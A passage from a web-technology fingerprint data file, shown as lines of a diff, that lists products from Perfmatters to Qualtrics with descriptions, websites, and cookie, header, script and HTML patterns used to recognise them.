"Perfmatters is a performance optimisation plugin for WordPress websites.", - "website": "https://perfmatters.io" - }, - "Performance Lab": { - "meta": { - "generator": [ - "^performance lab ?([\\d.]+)?\\;version:\\1" - ] - }, - "description": "Performance plugin from the WordPress Performance Group, which is a collection of standalone performance modules.", - "website": "https://wordpress.org/plugins/performance-lab/" - }, - "PerimeterX": { - "cookies": { - "_px3": "", - "_pxff_cc": "", - "_pxhd": "", - "_pxvid": "" - }, - "js": [ - "_pxappid" - ], - "description": "PerimeterX is a provider of scalable, behavior-based threat protection technology for the web, cloud, and mobile.", - "website": "https://www.perimeterx.com" - }, - "Periodic": { - "description": "Periodic is a white-label scheduling system.", - "website": "https://periodic.is" - }, - "Peripl": { - "description": "Peripl is a French software company that provides cloud-based software solutions for business management, including accounting, invoicing, payroll, and project management.", - "website": "https://www.peripl.fr" - }, - "Perl": { - "headers": { - "server": "\\bperl\\b(?: ?/?v?([\\d.]+))?\\;version:\\1" - }, - "description": "Perl is a family of two high-level, general-purpose, interpreted, dynamic programming languages.", - "website": "http://perl.org" - }, - "Permutive": { - "js": [ - "permutive" - ], - "description": "Permutive is a publisher-focused data management platform.", - "website": "https://permutive.com" - }, - "PersonaClick": { - "js": [ - "personaclick", - "personaclick_callback" - ], - "description": "PersonaClick is a provide personalisation, recommandation and multi channel services.", - "website": "https://www.personaclick.com" - }, - "Personio": { - "description": "Personio is the all-in-one HR software for small- and medium-sized companies with 10 to 2000 employees.", - "website": "https://www.personio.com" - }, - "Personizely": { - "js": [ - "personizely" - ], - "description": "Personizely is a conversion marketing toolkit which helps websites and ecommerce stores better engage with visitors using website widgets and personalisation.", - "website": "https://www.personizely.net" - }, - "Perzonalization": { - "description": "Perzonalization is a AI powered personalization engine for eCommerce", - "website": "https://www.perzonalization.com/" - }, - "Phabricator": { - "cookies": { - "phsid": "" - }, - "html": [ - "\u003c[^\u003e]+(?:class|id)=\"phabricator-" - ], - "implies": [ - "PHP" - ], - "description": "Phabricator is a suite of web-based software development collaboration tools, including the Differential code review tool, the Diffusion repository browser, the Herald change monitoring tool, the Maniphest bug tracker and the Phriction wiki. Phabricator integrates with Git, Mercurial, and Subversion.", - "website": "http://phacility.com" - }, - "Phaser": { - "js": [ - "phaser", - "phaser.version" - ], - "website": "https://phaser.io" - }, - "Phenomic": { - "html": [ - "\u003c[^\u003e]+id=\"phenomic(?:root)?\"" - ], - "implies": [ - "React" - ], - "description": "Phenomic is a modular website compiler.", - "website": "https://phenomic.io/" - }, - "Philomena": { - "meta": { - "generator": [ - "^philomena$" - ] - }, - "implies": [ - "Elixir", - "Erlang" - ], - "description": "Philomena is an imageboard software.", - "website": "https://github.com/derpibooru/philomena" - }, - "Phlox": { - "description": "Phlox is a modern, lightweight and customizable WordPress theme gratify for almost any type of website.", - "website": "https://www.phlox.pro" - }, - "Phoenix": { - "meta": { - "generator": [ - "^phoenix" - ] - }, - "implies": [ - "React", - "Webpack", - "Node.js" - ], - "website": "https://github.com/Sazito/phoenix/" - }, - "Phoenix Framework": { - "js": [ - "phoenix.channel" - ], - "implies": [ - "Elixir" - ], - "description": "Phoenix Framework is an open-source web application framework built using the Elixir programming language.", - "website": "https://www.phoenixframework.org" - }, - "Phoenix LiveView": { - "js": [ - "livesocket.socket" - ], - "implies": [ - "Phoenix Framework" - ], - "description": "Phoenix LiveView is a library that brings live, interactive, real-time user experiences to your Phoenix applications.", - "website": "https://hexdocs.pm/phoenix_live_view/Phoenix.LiveView.html" - }, - "Phoenix Site": { - "cookies": { - "phoenix_p_session": "" - }, - "js": [ - "phxsite.pages_version" - ], - "description": "Phoenix Site software has been developed by the Internet Marketing Union and is especially intended for entrepreneurs (without technical knowledge) who want to score better in Google (SEO) and get more leads and customers (conversion) from their website.", - "website": "https://phoenixsite.nl" - }, - "Photo Gallery": { - "description": "Photo Gallery plugin is a feature-rich, yet easy-to-use WordPress tool, which lets you add mobile-friendly image galleries and gallery groups to your website by 10Web.", - "website": "https://10web.io/plugins/wordpress-photo-gallery" - }, - "PhotoShelter": { - "implies": [ - "PHP", - "MySQL", - "jQuery" - ], - "description": "PhotoShelter is a cloud storage service that doubles as a website and ecommerce platform for photographers.", - "website": "https://www.photoshelter.com" - }, - "PhotoShelter for Brands": { - "description": "PhotoShelter for Brands is a cloud-based media management system for companies and organizations.", - "website": "https://brands.photoshelter.com" - }, - "PhotoSwipe": { - "js": [ - "photoswipe", - "photoswipeui_default", - "photoswipeparsehash" - ], - "description": "PhotoSwipe is an open-source gallery to support JavaScript-based image zooming.", - "website": "https://photoswipe.com" - }, - "Photoslurp": { - "js": [ - "photoslurp", - "photoslurpwidgetsettings", - "photoslurp_script", - "photoslurp_wdgts" - ], - "description": "Photoslurp is a visual commerce platform that collects photos and videos of customers using your products from across social networks.", - "website": "https://hi.photoslurp.com" - }, - "Phusion Passenger": { - "headers": { - "server": "phusion passenger ([\\d.]+)\\;version:\\1", - "x-powered-by": "phusion passenger(?:\\(r\\))? ?([\\d.]+)?\\;version:\\1" - }, - "description": "Phusion Passenger is a free web server and application server with support for Ruby, Python and Node.js.", - "website": "https://phusionpassenger.com" - }, - "Piano": { - "js": [ - "gcidatapiano", - "pianoespconfig" - ], - "description": "Piano is a enterprise SaaS company which specializing in advanced media business processes and ecommerce optimisation.", - "website": "https://piano.io" - }, - "PickyStory": { - "js": [ - "pickystory.overridestore" - ], - "implies": [ - "Shopify" - ], - "description": "PickyStory is the ecommerce conversion platform.", - "website": "https://pickystory.com" - }, - "Pico": { - "js": [ - "pico" - ], - "website": "https://trypico.com" - }, - "Pico CSS": { - "description": "Pico CSS is a minimal CSS framework for semantic HTML, without using classes.", - "website": "https://picocss.com" - }, - "Picreel": { - "js": [ - "picreel" - ], - "description": "Picreel is a conversion optimisation software.", - "website": "https://www.picreel.com" - }, - "Picturepark": { - "js": [ - "pictureparkconfiguration" - ], - "description": "Picturepark is designed to facilitate your DAM policies by storing, tagging, searching and delivering files in an automated and controlled way.", - "website": "https://picturepark.com" - }, - "Piman": { - "description": "Piman is an open-source accessibility UI framework create by Blueplanet Inc.", - "website": "https://ya-sai.github.io/piman/" - }, - "Pimcore": { - "headers": { - "x-powered-by": "^pimcore$" - }, - "implies": [ - "PHP" - ], - "description": "Pimcore is an open-source digital platform that aggregates, enriches, and manages enterprise data and provides up-to-date, consistent, and personalised experiences to customers.", - "website": "https://pimcore.com/en/digital-experience-platform" - }, - "Pin Payments": { - "description": "Pin Payments is an all-in-one online payment system. It offers merchants a simple JSON API, secure credit card storage, multi-currency capabilities, bank account compatibility, onsite payment processing and automatic fund transfer to specified bank accounts.", - "website": "https://www.pinpayments.com/" - }, - "Pingdom": { - "description": "Pingdom is a Swedish website monitoring software as a service company.", - "website": "https://www.pingdom.com" - }, - "Pingoteam": { - "meta": { - "designer": [ - "pingoteam" - ] - }, - "implies": [ - "PHP" - ], - "website": "https://www.pingoteam.ir/" - }, - "PinnacleCart": { - "js": [ - "user_delete_address", - "user_delete_payment_profile" - ], - "description": "PinnacleCart is an ecommerce platform.", - "website": "https://www.pinnaclecart.com" - }, - "Pinterest": { - "description": "Pinterest is an image sharing and social media service designed to enable saving and discovery of information.", - "website": "http://pinterest.com" - }, - "Pinterest Ads": { - "description": "Pinterest Ads is an online advertising platform developed by Pinterest.", - "website": "https://ads.pinterest.com/" - }, - "Pinterest Conversion Tag": { - "js": [ - "pintrk" - ], - "description": "Pinterest Conversion Tag allows you to track actions people take on your website after viewing your Promoted Pin.", - "website": "https://www.pinterest.com.au/business/" - }, - "Pipedrive": { - "js": [ - "leadbooster" - ], - "description": "Pipedrive is a cloud-based sales CRM.", - "website": "https://www.pipedrive.com/" - }, - "Piwigo": { - "meta": { - "generator": [ - "^piwigo\\s" - ] - }, - "implies": [ - "MySQL" - ], - "description": "Piwigo is an open-source photo management software designed for creating and managing online photo galleries.", - "website": "https://piwigo.com" - }, - "Piwik PRO Core": { - "description": "Piwik PRO Core is a free alternative to Google Analytics that is privacy \u0026 compliance focused.", - "website": "https://piwik.pro" - }, - "Pixc": { - "description": "Pixc is human powered image editing platform.", - "website": "https://pixc.com" - }, - "PixelFed": { - "implies": [ - "Laravel" - ], - "description": "PixelFed is an activitypub based image sharing platform.", - "website": "https://pixelfed.org" - }, - "PixelYourSite": { - "js": [ - "pys_generate_token", - "pys.facebook", - "pysoptions" - ], - "description": "PixelyourSite is now probably the most complex tracking tool for WordPress, managing the Facebook Pixel, Google Analytics, Google Ads Remarketing, Pinterest Tag, Bing Tag, and virtually any other script.", - "website": "https://www.pixelyoursite.com" - }, - "Pixieset Store": { - "js": [ - "pixiesetproducteditor", - "pixiesetproductoptionselection" - ], - "description": "Pixieset Store lets you sell professional print products, digital downloads, and other items directly from your galleries.", - "website": "https://pixieset.com" - }, - "Pixieset Website": { - "meta": { - "generator": [ - "^pixieset$" - ] - }, - "description": "Pixieset Website is a space to create your own beautiful photography website.", - "website": "https://pixieset.com" - }, - "Pixlee TurnTo": { - "js": [ - "pixlee", - "pixlee_analytics", - "turnto", - "turntoconfig" - ], - "description": "Pixlee TurnTo is a social UGC, ratings and reviews, and influencer marketing platform for community-driven brands.", - "website": "https://pixlee.com" - }, - "Pixnet": { - "js": [ - "pix.mib" - ], - "description": "Pixnet is an Taiwanese mobile photo sharing, blogging, and social networking service.", - "website": "https://www.pixnet.net" - }, - "PizzaNetz": { - "description": "PizzaNetz is an ordering system and shop system for pizzerias, Chinese restaurant and kebabs.", - "website": "https://www.pizzanetz.de" - }, - "Plaid": { - "js": [ - "plaid.version" - ], - "headers": { - "content-security-policy": "cdn\\.plaid\\.com/" - }, - "description": "Plaid is a fintech company that facilitates communication between financial services apps and users' banks and credit card providers.", - "website": "https://plaid.com" - }, - "Planet": { - "meta": { - "generator": [ - "^planet(?:/([\\d.]+))?\\;version:\\1" - ] - }, - "description": "Planet is a feed aggregator, which creates pages with entries from the original feeds in chronological order, most recent entries first.", - "website": "http://planetplanet.org" - }, - "Plasmic": { - "js": [ - "__next_data__.props.pageprops.plasmicdata" - ], - "description": "Plasmic is a visual, no-code headless page/content builder for any website or codebase.", - "website": "https://www.plasmic.app" - }, - "Platform.sh": { - "headers": { - "x-platform-cluster": "", - "x-platform-processor": "", - "x-platform-router": "", - "x-platform-server": "" - }, - "website": "https://platform.sh" - }, - "PlatformOS": { - "headers": { - "x-powered-by": "^platformos$" - }, - "website": "https://www.platform-os.com" - }, - "Platforma LP": { - "description": "Platforma LP is a web design and development platform that provides ready-to-use website templates for various industries and purposes. It is a collection of over 500 website templates that can be customised and edited according to user needs.", - "website": "https://platformalp.ru" - }, - "Plausible": { - "js": [ - "plausible" - ], - "description": "Plausible is an open-source alternative to Google Analytics.", - "website": "https://plausible.io/" - }, - "Play": { - "cookies": { - "play_session": "" - }, - "implies": [ - "Scala" - ], - "website": "https://www.playframework.com" - }, - "Plaza": { - "description": "Plaza is a ecommerce platform that allows brands and retailers to communicate with customers via live video.", - "website": "https://www.useplaza.com" - }, - "Pleroma": { - "description": "Pleroma is a free, federated social networking server built on open protocols.", - "website": "https://pleroma.social/" - }, - "Plesk": { - "headers": { - "x-powered-by": "^plesk(?:l|w)in", - "x-powered-by-plesk": "^plesk" - }, - "description": "Plesk is a web hosting and server data centre automation software with a control panel developed for Linux and Windows-based retail hosting service providers.", - "website": "https://www.plesk.com/" - }, - "Pligg": { - "js": [ - "pligg_" - ], - "html": [ - "\u003cspan[^\u003e]+id=\"xvotes-0" - ], - "meta": { - "generator": [ - "pligg" - ] - }, - "website": "http://pligg.com" - }, - "Plone": { - "meta": { - "generator": [ - "plone" - ] - }, - "implies": [ - "Python" - ], - "description": "Plone is a free and open source content management system (CMS) built on top of the Zope application server.", - "website": "https://plone.org/" - }, - "Plotly": { - "js": [ - "plotly.version" - ], - "implies": [ - "D3" - ], - "website": "https://plot.ly/javascript/" - }, - "Plug\u0026Pay": { - "cookies": { - "plug_pay_session": "" - }, - "implies": [ - "Laravel" - ], - "description": "Plug\u0026Pay is a payment processor that provides payment solutions for ecommerce businesses.", - "website": "https://plugandpay.nl" - }, - "Plyr": { - "js": [ - "plyr" - ], - "css": [ - "--plyr-progress" - ], - "description": "Plyr is a simple, lightweight, accessible and customizable HTML5, YouTube and Vimeo media player that supports modern browsers.", - "website": "https://plyr.io" - }, - "Po.st": { - "js": [ - "pwidget_config" - ], - "website": "http://www.po.st/" - }, - "Pocket": { - "meta": { - "pocket-site-verification'": [] - }, - "description": "Pocket is a social bookmarking service that can be integrated into a website with the use of a web widget.", - "website": "https://getpocket.com" - }, - "Podia": { - "cookies": { - "_podia_storefront_visitor_id": "" - }, - "js": [ - "podia.checkout" - ], - "description": "Podia is a platform to host and sell online courses, memberships, and digital downloads.", - "website": "https://www.podia.com" - }, - "Podigee": { - "js": [ - "podigeepodcastplayers" - ], - "description": "Podigee is an independent company for podcast publishers. Podigee offers hosting, distribution, analytics and monetisation of podcasts.", - "website": "https://www.podigee.com" - }, - "Podium": { - "js": [ - "podiumwebsitewidgetloaded", - "podiumwebchat" - ], - "description": "Podium is a customer communication platform for businesses who interact with customers on a local level.", - "website": "https://www.podium.com" - }, - "Podsights": { - "description": "Podsights is attribution technology platform that brands and agencies use to measure and scale their podcast advertising", - "website": "https://podsights.com/" - }, - "Pojo.me": { - "js": [ - "pojoa11yoptions" - ], - "description": "Pojo.me provides a Accessibility overlay plug-in for any WordPress Theme or Page Builder.", - "website": "https://pojo.me/plugins/accessibility/" - }, - "Poloriz": { - "description": "Poloriz's technology automatically creates a personalised, full-screen, mobile-first, cross-selling user experience for shoppers.", - "website": "https://www.poloriz.com" - }, - "Polyfill": { - "description": "Polyfill is a service which accepts a request for a set of browser features and returns only the polyfills that are needed by the requesting browser.", - "website": "https://polyfill.io" - }, - "Polylang": { - "cookies": { - "pll_language": "[a-z]{2}" - }, - "headers": { - "x-redirected-by": "polylang(?: (pro))?\\;version:\\1" - }, - "description": "Polylang is a WordPress plugin which allows you to create multilingual WordPress site.", - "website": "https://wordpress.org/plugins/polylang" - }, - "Polymer": { - "js": [ - "polymer.version" - ], - "html": [ - "(?:\u003cpolymer-[^\u003e]+|\u003clink[^\u003e]+rel=\"import\"[^\u003e]+/polymer\\.html\")" - ], - "website": "http://polymer-project.org" - }, - "Popmenu": { - "cookies": { - "popmenu-token": "" - }, - "js": [ - "popmenu_client", - "popmenuhydrated" - ], - "implies": [ - "React", - "Apollo" - ], - "description": "Popmenu is a restaurant platform which offers CMS, online menus, ordering and delivery and marketing automation solutions.", - "website": "https://get.popmenu.com" - }, - "Popper": { - "js": [ - "popper.defaults", - "popper.applystyles", - "createpopper" - ], - "description": "Popper is a positioning engine, its purpose is to calculate the position of an element to make it possible to position it near a given reference element.", - "website": "https://popper.js.org" - }, - "PopularFX": { - "description": "PopularFX is a fully customizable responsive WordPress theme. It comes with drag and drop page builder.", - "website": "https://popularfx.com" - }, - "Popup Maker": { - "js": [ - "pum_popups" - ], - "description": "Popup Maker is a plugin that lets you create popup windows for your WordPress website.", - "website": "https://wppopupmaker.com" - }, - "Post Affiliate Pro": { - "js": [ - "postaffinfo", - "postafftracker", - "postaffaction", - "postaffcookie" - ], - "description": "Post Affiliate Pro is a software built for online stores and ecommerce websites that need to track and monitor their affiliate network.", - "website": "https://www.postaffiliatepro.com" - }, - "PostHog": { - "js": [ - "posthog" - ], - "description": "PostHog is the open-source, all-in-one product analytics platform.", - "website": "https://posthog.com" - }, - "PostNL": { - "description": "PostNL (formerly TNT) is a mail, parcel and ecommerce corporation with operations in the Netherlands, Germany, Italy, Belgium, and the United Kingdom.", - "website": "https://postnl.post" - }, - "Poste Italiane": { - "description": "Poste Italiane is the Italian postal service provider.", - "website": "https://www.poste.it" - }, - "Posterous": { - "js": [ - "posterous" - ], - "html": [ - "\u003cdiv class=\"posterous" - ], - "website": "http://posterous.com" - }, - "PostgreSQL": { - "description": "PostgreSQL, also known as Postgres, is a free and open-source relational database management system emphasizing extensibility and SQL compliance.", - "website": "http://www.postgresql.org/" - }, - "Postpay": { - "js": [ - "postpayjsconfig", - "postpay", - "wc_postpay_init_params" - ], - "description": "Postpay is a payment solution that allows you to split your purchase amount into instalments.", - "website": "https://postpay.io" - }, - "Postscript": { - "js": [ - "postscript.issubscriberinputchecked", - "postscript.getsubscriberid" - ], - "description": "Postscript is an SMS and MMS marketing platform for Shopify stores.", - "website": "https://www.postscript.io" - }, - "Potions": { - "js": [ - "potions.version" - ], - "description": "Potions is a personalisation technology for customising the ecommerce experience for site visitors without the use of cookies.", - "website": "https://get-potions.com" - }, - "PowerReviews": { - "js": [ - "powerreviews" - ], - "description": "Powerreviews is a provider of UGC solutions like ratings and reviews.", - "website": "https://www.powerreviews.com/" - }, - "PowerSchool": { - "headers": { - "content-security-policy": "\\.powerschool\\.com" - }, - "meta": { - "application-name": [ - "^powerschool$" - ] - }, - "description": "PowerSchool is a widely used student information system (SIS) used by K-12 schools, districts, and other educational institutions to manage student data and information. The software is developed and marketed by PowerSchool Group LLC, which is based in California, USA.", - "website": "https://www.powerschool.com" - }, - "Powerboutique": { - "website": "https://www.powerboutique.com/" - }, - "Powergap": { - "html": [ - "\u003ca[^\u003e]+title=\"powergap", - "\u003cinput type=\"hidden\" name=\"shopid\"" - ], - "website": "http://powergap.de" - }, - "Preact": { - "description": "Preact is a JavaScript library that describes itself as a fast 3kB alternative to React with the same ES6 API.", - "website": "https://preactjs.com" - }, - "Prebid": { - "js": [ - "prebid_timeout", - "pbjs", - "pbjs.version" - ], - "description": "Prebid is an open-source header bidding wrapper. It forms the core of our Nucleus ad platform, helping maximize revenue and performance for publishers.", - "website": "http://prebid.org" - }, - "Prediggo": { - "js": [ - "prediggo", - "prediggosearchformexternalac" - ], - "description": "Prediggo is an ecommerce personalisation and marketing automation software provider.", - "website": "https://prediggo.com" - }, - "Prefix-Free": { - "js": [ - "prefixfree" - ], - "website": "https://leaverou.github.io/prefixfree/" - }, - "Premio Chaty": { - "js": [ - "chaty_settings.object_settings", - "chaty_settings.chaty_widgets" - ], - "description": "Chat with your website visitors via their favorite channels with Chaty by Premio.", - "website": "https://premio.io/downloads/chaty" - }, - "Press Customizr": { - "description": "Press Customizr is a multipurpose WordPress theme suitable for small businesses and ecommerce sites.", - "website": "https://presscustomizr.com/customizr" - }, - "Press Hueman": { - "js": [ - "huparams" - ], - "description": "Press Hueman is a mobile friendly WordPress theme for blogs, magazines and business websites.", - "website": "https://presscustomizr.com/hueman" - }, - "PressMaximum Customify": { - "js": [ - "customify", - "customify_js", - "customify_is_mobile" - ], - "description": "PressMaximum Customify is lightweight, responsive and flexible multipurpose WordPress theme.", - "website": "https://pressmaximum.com/customify" - }, - "Pressable": { - "headers": { - "host-header": "^pressable" - }, - "implies": [ - "WordPress" - ], - "description": "Pressable is a managed hoting platform for WordPress.", - "website": "https://pressable.com" - }, - "PrestaShop": { - "cookies": { - "prestashop": "" - }, - "js": [ - "pricedisplayprecision", - "rcanalyticsevents.eventprestashopcheckout", - "freeproducttranslation", - "prestashop", - "pricedisplaymethod" - ], - "headers": { - "powered-by": "^prestashop$" - }, - "html": [ - "powered by \u003ca\\s+[^\u003e]+\u003eprestashop", - "\u003c!-- /block [a-z ]+ module (?:header|top)?\\s?--\u003e", - "\u003c!-- /module block [a-z ]+ --\u003e" - ], - "meta": { - "generator": [ - "prestashop" - ] - }, - "implies": [ - "PHP", - "MySQL" - ], - "description": "PrestaShop is a freemium, open-source ecommerce solution, written in the PHP programming language with support for the MySQL database management system.", - "website": "http://www.prestashop.com" - }, - "Pretty Links": { - "description": "Pretty Links is a WordPress plugin URL shortener, link cloaker, branded link, and QR code generator.", - "website": "https://prettylinks.com" - }, - "PriceSpider": { - "js": [ - "pricespider.version" - ], - "description": "PriceSpider is an advanced retail data technology company that provides insights about consumer purchasing behavior.", - "website": "https://www.pricespider.com" - }, - "PrimeNG": { - "css": [ - "\\.p-(?:toast|calendar|dialog-mask|menuitem-text)(?:-content)?\\{" - ], - "description": "PrimeNG is a rich set of open-source UI Components for Angular.", - "website": "https://www.primefaces.org" - }, - "PrimeReact": { - "css": [ - "\\.p-(?:toast|calendar|dialog-mask|menuitem-text)(?:-content)?\\{" - ], - "description": "PrimeReact is a rich set of open-source UI Components for React.", - "website": "https://www.primefaces.org" - }, - "PrimeVue": { - "css": [ - "\\.p-(?:toast|calendar|dialog-mask|menuitem-text)(?:-content)?\\{" - ], - "description": "PrimeVue is a rich set of open-source UI Components for Vue.js.", - "website": "https://www.primefaces.org" - }, - "Primis": { - "js": [ - "sekindoflowingplayeron", - "sekindonativeskinapi", - "sekindodisplayedplacement" - ], - "description": "Primis is a video discovery platform for publishers.", - "website": "https://www.primis.tech" - }, - "Printful": { - "implies": [ - "Cart Functionality" - ], - "description": "Printful offers print-on-demand drop shipping solution for ecommerce sites.", - "website": "https://www.printful.com/" - }, - "Priority Hints": { - "description": "Priority Hints exposes a mechanism for developers to signal a relative priority for browsers to consider when fetching resources.", - "website": "https://wicg.github.io/priority-hints/" - }, - "Prism": { - "js": [ - "prism", - "apex.libversions.prismjs" - ], - "description": "Prism is an extensible syntax highlighter.", - "website": "http://prismjs.com" - }, - "Prismic": { - "description": "Prismic is a headless CMS for Jamstack.", - "website": "https://prismic.io" - }, - "Privy": { - "js": [ - "privy", - "privywidget", - "privysettings" - ], - "description": "Privy is a all-in-one marketing automation platform for ecommerce.", - "website": "https://www.privy.com" - }, - "Privy App": { - "implies": [ - "Privy" - ], - "description": "Privy App helps you improve your website conversion rate, grow your email list, automate your email marketing, drive repeat purchases and much more.", - "website": "https://apps.shopify.com/privy" - }, - "ProcessWire": { - "js": [ - "processwire" - ], - "headers": { - "x-powered-by": "processwire cms" - }, - "implies": [ - "PHP" - ], - "description": "ProcessWire is an open source content management system (CMS) and framework (CMF).", - "website": "https://processwire.com/" - }, - "Product Hunt": { - "description": "Product Hunt is a community-based website that allows makers and marketers to launch their products or services and get in touch with their first real users.", - "website": "https://www.producthunt.com" - }, - "Product Personalizer": { - "implies": [ - "Shopify" - ], - "description": "Product Personalizer apps can help you to customise your products and offer a more personalised experience for your customers.", - "website": "https://productpersonalizer.com" - }, - "ProfilePress": { - "cookies": { - "ppwp_wp_session": "" - }, - "description": "ProfilePress is a WordPress registration plugin that lets you create login forms, registration forms, user profiles, and more.", - "website": "https://profilepress.net" - }, - "Profitwell": { - "js": [ - "profitwell" - ], - "website": "https://www.profitwell.com/" - }, - "Project Wonderful": { - "js": [ - "pw_adloader" - ], - "html": [ - "\u003cdiv[^\u003e]+id=\"pw_adbox_" - ], - "website": "http://projectwonderful.com" - }, - "Projesoft": { - "website": "https://www.projesoft.com.tr" - }, - "PromoBuilding": { - "cookies": { - "promobuilding_session": "" - }, - "js": [ - "promoapi", - "promodomain", - "promoisover", - "promostart" - ], - "html": [ - "\u003c!-- made with https://promobuilding\\.ru" - ], - "description": "PromoBuilding is a subscription-based website builder for optimising budgets for creating promotional campaigns.", - "website": "https://promobuilding.ru" - }, - "Proton Mail": { - "description": "Proton Mail is the world’s largest secure email service with over 70 million users. Available on Web, iOS, Android, and desktop. Protected by Swiss privacy law.", - "website": "https://proton.me/mail" - }, - "Prototype": { - "js": [ - "prototype.version" - ], - "description": "Prototype is a JavaScript Framework that aims to ease development of web applications.", - "website": "http://www.prototypejs.org" - }, - "Protovis": { - "js": [ - "protovis" - ], - "website": "http://mbostock.github.io/protovis" - }, - "ProvenExpert": { - "description": "ProvenExpert is a review based marketing platform that allows users to create customer surveys, provides aggregate reviews and ratings.", - "website": "https://www.provenexpert.com" - }, - "Provide Support": { - "description": "Provide Support is a SaaS for customer service that includes live chat, real-time website monitoring, chat statistics.", - "website": "https://www.providesupport.com" - }, - "Proximis": { - "website": "https://www.proximis.com" - }, - "Proximis Unified Commerce": { - "js": [ - "__change" - ], - "html": [ - "\u003chtml[^\u003e]+data-ng-app=\"rbschangeapp\"" - ], - "meta": { - "generator": [ - "proximis unified commerce" - ] - }, - "implies": [ - "PHP", - "AngularJS" - ], - "website": "https://www.proximis.com" - }, - "Pterodactyl Panel": { - "cookies": { - "pterodactyl_session": "" - }, - "implies": [ - "Go", - "PHP", - "React", - "Laravel" - ], - "description": "Pterodactyl Panel is a free, open-source game server management panel built with PHP, React, and Go.", - "website": "https://pterodactyl.io" - }, - "PubGuru": { - "js": [ - "pg.version" - ], - "description": "PubGuru is a header wrapper and ad ops platform.", - "website": "https://pubguru.com" - }, - "PubMatic": { - "description": "PubMatic is a company that develops and implements online advertising software and strategies for the digital publishing and advertising industry.", - "website": "http://www.pubmatic.com/" - }, - "PubSubJS": { - "js": [ - "pubsub", - "pubsub.version" - ], - "description": "PubSubJS is a topic-based publish/subscribe library written in JavaScript.", - "website": "https://github.com/mroderick/PubSubJS" - }, - "Public CMS": { - "cookies": { - "publiccms_user": "" - }, - "headers": { - "x-powered-publiccms": "^(.+)$\\;version:\\1" - }, - "implies": [ - "Java" - ], - "website": "http://www.publiccms.com" - }, - "Pulse Secure": { - "cookies": { - "dssignin": "" - }, - "description": "Pulse Secure allows to deploy VPNs to securely to your internal resources.", - "website": "https://www.pulsesecure.net/products/remote-access-overview/" - }, - "Pure CSS": { - "html": [ - "\u003clink[^\u003e]+(?:([\\d.])+/)?pure(?:-min)?\\.css\\;version:\\1", - "\u003cdiv[^\u003e]+class=\"[^\"]*pure-u-(?:sm-|md-|lg-|xl-)?\\d-\\d" - ], - "description": "Pure CSS is a set of small, responsive CSS modules that can be used in web projects.", - "website": "http://purecss.io" - }, - "Pure Chat": { - "js": [ - "pcwidget", - "purechatapi" - ], - "description": "Pure Chat is a live chat solution for small to mid-sized teams.", - "website": "https://www.purechat.com" - }, - "PureCars": { - "js": [ - "_purecars" - ], - "description": "PureCars is an automotive software and managed services company serving dealerships, advertising associations, and OEMs across the North American retail automotive industry.", - "website": "https://www.purecars.com" - }, - "PurpleAds": { - "meta": { - "purpleads-verification": [] - }, - "description": "PurpleAds is an online advertising solution that businesses use to promote their products and services on Google Search, YouTube and other sites across the web.", - "website": "https://purpleads.io" - }, - "PushDaddy Whatsapp Chat": { - "implies": [ - "WhatsApp Business Chat", - "Shopify" - ], - "description": "Whatsapp Chat is an live chat and abondoned cart solution built by PushDaddy.", - "website": "https://apps.shopify.com/whatsapp-chat-for-support" - }, - "PushEngage": { - "description": "PushEngage is a browser push notification platform that helps content website managers engage visitors by automatically segmenting and sending web push messages.", - "website": "https://www.pushengage.com" - }, - "PushOwl": { - "js": [ - "pushowl" - ], - "description": "PushOwl is a push notification platform for ecommerce stores.", - "website": "https://pushowl.com" - }, - "PushOwl Web Push Notifications": { - "implies": [ - "PushOwl" - ], - "description": "PushOwl Web Push Notifications are a Shopify app which helps recover abandoned carts and market better with web push.", - "website": "https://apps.shopify.com/pushowl" - }, - "PushPushGo": { - "description": "PushPushGo is a GDPR-ready platform which enables startups, SMBs and corporations to create and send automatic web push notification campaigns on desktop and via mobile to manage various scenarios including abandoned carts, segmentation, cross-selling, customer engagement, and return rates.", - "website": "https://pushpushgo.com" - }, - "Pushnami": { - "description": "Pushnami is an AI-powered messaging platform that uses intelligent analytics to deliver superior push, social, and email performance.", - "website": "https://pushnami.com" - }, - "Pushpay": { - "description": "Pushpay is a digital giving and engagement platform designed to help churches manage processes related to donations and fundraising.", - "website": "https://pushpay.com" - }, - "PyScript": { - "description": "PyScript is a python script that can be run in the browser using a mix of Python and standard HTML.", - "website": "https://pyscript.net" - }, - "Pygments": { - "html": [ - "\u003clink[^\u003e]+pygments\\.css[\"']" - ], - "website": "http://pygments.org" - }, - "PyroCMS": { - "cookies": { - "pyrocms": "" - }, - "headers": { - "x-streams-distribution": "pyrocms" - }, - "implies": [ - "Laravel" - ], - "website": "http://pyrocms.com" - }, - "Python": { - "headers": { - "server": "(?:^|\\s)python(?:/([\\d.]+))?\\;version:\\1" - }, - "description": "Python is an interpreted and general-purpose programming language.", - "website": "http://python.org" - }, - "PythonAnywhere": { - "headers": { - "server": "^pythonanywhere$" - }, - "implies": [ - "Python" - ], - "description": "PythonAnywhere is an online integrated development environment (IDE) and web hosting service (Platform as a service) based on the Python programming language.", - "website": "https://www.pythonanywhere.com" - }, - "Q4": { - "js": [ - "q4app.a11yannouncement", - "q4defaults.fancysignup" - ], - "description": "Q4 is a SaaS platform that provides communication and intelligence solutions to investor relations professionals.", - "website": "https://www.q4inc.com/products/investor-relations-websites/default.aspx" - }, - "Q4 Cookie Monster": { - "description": "Q4 Cookie Monster is an cookie compliance widget built by Q4.", - "website": "https://q4mobile.github.io/q4widgets-jquery-ui/doc_html/q4.cookieMonster.html" - }, - "QUIC.cloud": { - "description": "QUIC.cloud is a content delivery network (CDN) and optimisation service that uses the QUIC protocol, a next-generation internet transport protocol developed by Google, to deliver content faster and more securely over the internet.", - "website": "https://www.quic.cloud" - }, - "Qgiv": { - "description": "Qgiv is an online fundraising platform helping nonprofit, faith-based, healthcare, and education organisations raise funds.", - "website": "https://www.qgiv.com" - }, - "Qikify": { - "description": "Qikify is a trusted Shopify Expert providing services for over 35,000 Shopify merchants through Shopify Apps or custom modifications.", - "website": "https://qikify.com" - }, - "Qstomizer": { - "js": [ - "qstomizer_script", - "jqueryqsmz", - "loadscript_qsmz" - ], - "description": "Qstomizer app is the app for Shopify and Woocomerce that allows you to add a visual custom product designer to your shop.", - "website": "https://www.qstomizer.com" - }, - "Qualaroo": { - "js": [ - "qualaroo_dnt" - ], - "description": "Qualaroo provides surveys on websites and apps to get user feedback.", - "website": "https://qualaroo.com" - }, - "Qualified": { - "js": [ - "qualifiedobject" - ], - "description": "Qualified is a B2B marketer that allows buyers and sales reps to connect through real-time website conversations.", - "website": "https://www.qualified.com" - }, - "Qualtrics": { - 